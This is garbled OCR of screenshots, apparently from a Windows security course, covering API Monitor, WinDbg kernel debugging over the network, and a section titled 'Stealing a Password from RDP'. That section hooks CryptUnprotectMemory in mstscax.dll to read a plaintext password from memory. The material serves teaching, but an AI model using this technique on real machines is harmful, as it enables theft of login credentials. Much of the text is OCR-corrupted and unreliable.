------ [:I =] CheckNamelegalDOS8Dot3A
------ EI =] CheckNamelegalDOS8Dot3W
------ EI 'Z] CopyFile2
~~~~~~ [ E CopyFileA
------ [ Z] CopyFileExA

...... [ E] CopyFileExw
...... [ E copyFileTransactedA

...... [ Z] copyFileTransactedw

...... [] =] CopyFilew
...... E] =] CreateFile2

...... B CreateFileA|

...... E] =] CreateFileTransactedA

...... E] =] CreateFileTransactedW

...... =] CreateFilew

...... E] =] CreateHardLinkA

...... [ E CreateHardLinkTransactedA v

<
wll Capture | CQ pisplay | ] External DLL




Summary

7 KB used

I

notepad.exe

» # =0FEEn mE B 8-
# Time of Day Thread Module API Q Return Value Error
1 4:56:10.003 PM 1 KERNELBASE.dII NtCreateFile (0x0020003a4075b120, FILE_READ_AITRIBUTES | GENERIC_... STATUS_SUCCESS
2 4:56:10.034 PM 1 KERNELBASE.dII NtCreateFile (Ox 003a4075d8e0, FILE_READ_AITRIBUTES | GEMNERIC_... STATUS_SUCCESS
5 4:56:10.034 PM KERNELBASE.dII NtCreateFile (UxD02000aa40/5b /), FILE_READ_ATTRIBUTES | GENERIC ...  STATUS_SUCCESS
- CreateFileW (‘mynewfile . GENERIC.RFAD, FIIF_SHARF_RFAD | FIF..
5 4:56:10.097 PM 1 KERNELBASE.dII “-NtCreateFile ( 0<0000C~an-10?5e3a0, FILE_READ_ATTRIBUTES | GENE...  STATUS_OBJECT_NAME_NOT... O0xc0000034 = C
6 4:56:10.112PM 1 KERNELBASE.dII NtCreateFile (0x0020002a4075d360, FILE_READ_AITRIBUTES | GEMNERIC_... STATUS_SUCCESS
7 801:45.202 PM | notepad.exe ueateFlle\ ("mynewtil2.txt”, GENERIC_READ | GENERIC_WRITE, FILE_S... Ox00000000000003534
8 601:45.202 PM 1 KERNELBASE.dII ‘-NtCreateF le ( 0x000000az4075e3a0, FILE_READ_ATTRIBUTES | GENE...  STATUS_SUCCESS
< >
[
Pre-Call Value Pest-CallVal ™ | [l -39 2] |F1|92 84 Bg ['|Bp
0x00007 1 7e0dI68¢0 ‘'mynewfile.lxt”  0x00007((7e 0000 €d 00 75 00 &e 00 €5 00 77 20 €€ 00 €5 00 €c 00 €5 00 m.y.n.e.w.fL.i.l.e.
GENERIC_RFAD GENER C_RF 0012 2e 00 74 00 78 00 74 00 00 20 ..t.x.t. ..
FILE_SHARE_READ | FILE_SHARE_W... FILE_SHARE




tealing a Password from
RDP

%% Remote Desktop Connection

| Remote Desktop
~>¢) Connection

General Display Local Resources Experience Advanced

Logon settings
. L Enter the name of the remote computer.

\';"\

Computer: 40.76.73.188

Username: | SuperAdmin

You will be asked for credentials when you connect.

[] Allow me to save credentials

Connection settings

Save the cument connection settings to an RDP file or open a
i saved connection.

Save Save As... Open...

4 Hide Options




L Montoring - AP/ Meonitor v2 €4-bit (Administy

File Edit View Filker Tools Window

-1 G [0 L.o[FE]D

S~ X A AlModules v

D l Certificate Store A
@] [ Certificate Trust List
-»E] '| Certiricate and Certimicate Store Main
@D l CrypiXML
@ O l Data Converzion
E]l!] l Data Fneryption and Decryption
@71 [ Advapi3Z.dil

-] (3 Crypt32.a1l

[ E CryptUnprotectData

: ..[¥ 2] Lryptunprotectvemory
E] l Data Management

m M1 Enhznrad Veu 1 leana ~
< >
sl Capture |10isplay [_]Cxternal DLL
Running Processes v X
ENEIEICE f
Process & PD =
[85] Microsoft.Fhotos.ece 8043

@ MicrosoftCdge.exe 7676

[3 murosortedgecrece 982

[#] MicrosoftEdgeSH.exe 9192

L.; mstsc.exe

(%] rdpclip exe 2184

(8] Runtmebroker.ece 5888

(2] RuntimeBroker.ece 6016

[%] RuntimeBroker.ece 6518

(%7 RunlimeBrokerece 69638 ~

{3] Processes | 4 Services




Summary | 9 calls

Thread Module AP A

2 mstscax.dll

mstscax.di 00001c2564074¢0, 32, CRYPTPROTECTMEM

3 mstscax.dll CryptUnprotectMemory ( 0x000001¢c256406ee0, 32, CRYPTPROTECTM

>
w B X | Hex Buffer: 32 bytes (Pre-Call) wv o X
Call Value
DO001c2564074e0 Q000 1l€ 00 Q00 00 S0 00 40 00 73 00 73 00 77 00 .. .s.w.

..P 5.5
000e 30 00 72 00 €4 00 31 00 32 00 33 0O OO 00O O.xr.d.l.2.3...
00lec 00 00 00 00

PTPROTECTMEMORY_




Kernel Debugging



User Application

:

Kernel32.dll
Ntdll.dll
___________________________ User Mode
* Kernel Mode

Ntoskrnl.exe

5

Kernel Data Structures

Figure 8-3. User mode and kernel mode



Virtual machines - Microsolt A2 X =

0 & portal.azure.com ww private (2) @
Microsoft Azure £ Search resources, servicas, and docs (4/) cnit123g@gmail.com @
DEFAU.T DIRECTORY
All services
Virtual machines ~» X
Default Directory
Add ~ (O Reservations v Editcolumns () Refresh & Try preview 5, Assign tags > start ' Restart [ ] Stop [5 Delzte

o Try the new virtual machine resource browsar! Tais experience is faster and has imoreved sorting and filtering capabilitics. Plcase note that th2 new experience will not show cassic
virtual macnnes and does nctinclude support for scome cclumns such as maintenance s:stus.

Subscriptians: Azure for Students

Filter by name... All resource groups Vv ’ ’ Al types v ‘ ’ All locaticns v ‘ Alltags v ’ No grouging v
1 0of 2 itamrs selected

_] Name TL Type TL Status Resource group TL Location Ty Source Mainte
:] (& | Ewmo Virtuzl machine Running WIN10_GROUP_1073C.. Wesz U5 2 Marketplace -

:] B3 wir10target Virtuzl machine Running WIN10TARGET_GROUP West US 2 Marketplace -




Administrator: Command Prompt

The operation completed successfully.

C:\Users\SuperAdmin>bcdedit /set TESTSIGNING ON
The operation completed successfully.

C:\Users\SuperAdmin>bcdedit /dbgsettings net hostip:10.0.0.4
port:50000 key:flap.jack.dog.frog
Key=flap.jack.dog.frog

C:\Users\SuperAdmin>bcdedit /dbgsettings
key flap.jack.dog.frog
debugtype NET

hostip 10.0.0.4

port 50000

dhcp Yes

The operation completed successfully.

C:\Users\SuperAdmin>_

&' Network Connections
1 & 5 Control Panel > Network and Internet > Network Connections

Organize »

.:. Ethernet (Kernel Debugger)

" o




P WinDbg 1.0.2007.06001 (Administrator)

©

Start debugging

Save workspace

Open source file

Open scnpt

Settings

About

Bat

Start debugging

§,.l_‘)

Recent

Launch executable

Launch executable (advanced)
Supports Time Travel Debugging

Attach to process
Supports Time Travel Debugging

Open dump file

Open trace file

Connect to remote debugger
Connect to process server

Attach to kernel

Net | USB 1394 Local® cCOM

Port number
50000

Key
flap.jack.dog.frog
Target

10.0.0.5

[ Initial break

EXDI

Paste




5 I ‘net:port= 50007, key="""" target=10.0.0.5", Default Conpection - WinDbg 1.0.2007 05001 [Admiristrator)

Home View Brzakpoints Time Trave Moce Scripting Zommand Mamory Source

o e o] W3 E B g (Bl = E T g o l-
Command Watch Locals Ragisters Memory btiék Csassembly Threads Broaksoints Lo;;s Notes | imeclnc: Modules Leayouss  Feset
v Windows

QoW Layout

Cocmmand

@: kd> 1r

start end module narve

6 7d>db2@@ MsSM2ENnZ (pdb symbols) C:\symools\MsMpEng.pdo\F76B5C6C385BCEF154DEOC4 182 22FBDEL \MSMPENg. pdE

d" 63349200  wscuroxystub (pdt symbols) c:\symbols\WscPruxyStub. pdb\SE208CT37AAC41FSEALGSLF2DF1EDCSEEL \WscPr¢

02007 Ff5  7d5¢3€03 09co7f
02007 TfJ 63543003 Q3e07f
0300,/ Tfd 6bcOYEOY OUE/frd 6bEBCHBY  socuri? (odb symbols) C:\symbols\socur32.pdb\6U1ESSAEEDEFB1BYEGSELDE 24D6AE 7491 \socur32. pdb
0000711 62102202 @2e@7fTd 6914Cc200 wscapl {odb symbols) C:\symools\WscAol.odb\8C27672FE13FCDE3FE87EN215BE6LSEAL \WecApl . pdb
00007++d 62150C00 00CO7f+d 691eB000 webio (odb symbols) C:\symbols\wabic.pdb\468083ADBLIAS1135D2FD22761517DAB5 1 \webio. pdb
000071l 60303202 Q2e07fTd 6b315200 mskzyprolecl (pdt symbols) Ci\symbols\mskeyprotecl.pdb\ES22516EQ179ANBAEAFSN3IALIASABT 1611 \mskey
050071 4 6h3bACAA AARATI Id 6h3d4R0N awcryptss o # (pdb symbols) c:\symbals\ncryptssip.pdb\ABF2TEFTC297C34CAC3IFAGARASFRAG3IT \ncryptss |
0200711 6h512€03 @2ee7fFd 6C37¢c20@ mpengline {expcrt symbols) mpengine.dll
050071 14 60330608 QACATI Id 60422000 mprtp (ndb symbols) c:\symhols\MART2 . pdb\5472044G2R7CESF131649F122977CT7F11\WpRTP . pdh
09499,/ ffd 6fe/0€09 0L,/ f+d 6fc/dovo Y 1! (odb sywbols) JAsymools\wofutil.pdo\31ES/ /7 /E094E0ES40 28AFBLYC/1BUEYAL \Wefutil. pdE
05007 d°61e38203 08e07(d" 61e3aR00 FLTLIB {odb sywbols) :\symbols\flzLib.odb\258144864A3E1821CESDEDDACSAADTIDA\1tLib. pdb
00007++d 6+C90C00 ©0CO7f+d 61+0e6000 MpCommy (odb symbols) :Nsymbols\MaCommu. pdEo\7076E6D463CCAGABLLSD7L44r290r 461 1 \MpCornu . pdt
02007 TfJ 6f770€02 Q2207 fTd 61517200 Jrrlmon (pdb symbols) ;Nsymbols\urlmon. odb\D@3BS22554F 3967 2AD3912EEEDZ ESECO1 \ur Lo . pdb
0940 /ffd” JubBuEey ovLe,/f+d svcaluon lertutil {odb sywbols) :Nsymbols\iartutil.pdb\L590B/UOLL26LBALBI C14AABDSOBYBLUI iertutil. pdb
02007 Tfd" 71320€03 02¢@7f+d" 71102200 mpclient {odb sywbols) :\symbols'MaoClient.pdb\52F3650001227D1E3AS32E@NGNS@BSFS1\WpClient.pdb |~
1 )

-
-

-
-

wap sesibay Aquesses

-
-

Al
M Nnn

0: kd>

Locals & X Areacs
[0x/20] - nt!KiSwapLontext+Ux/6 (11800 /3 /c1t/b)
[0x70] = «Unable 1o gel sleck lacz>
[Ox1494] = <Unablz to get stack tracen
[0xd34] - fikein‘o!memcpy (FFHO0a'€35d2200)
[Cx3dd] - nt!KiSwaoContaxt+(0x76 (fF80E°737¢17€)

hrcacs | Stack Brecakpoints




Pl <D 'net:port=350000,key="**" target= 10.0.0.5',

ficwey s@sibay Aquesses

Default Connection

WinDeg * 0.2007.06001 (Admin strztor)

OxFFFFFFFFFFFFFFFF

Filz Horre Vew Breskpoints Tiene Travel Mode Scrinting Command Memoey 64 TiB
TH S (P StepOut ) Step Out 3a - = il o E Physical
('} Step o {7} “tep into facy W top Oebugong | ‘ 800000000000
S {ﬁ} -er- k o T - o IgIIng Settngs |SoUrCe | Azzembly  Local Feedhnc OxFFFF
- {)* StepOver *{} Step Over Ba + 2 Detach Help~  Hub
Flow Conlic Reverse Fow Conli End Presleranie Help E
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Automating the Process
ﬂ KD 'net:port=50000,key="""" target=10.0.0.5', Default Connection - WinDbg 1.0.2007.06001
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In the lower center of WinDbg, execute these commands:

bp kernelbase!CreateFileA "da @rsp+48;g"
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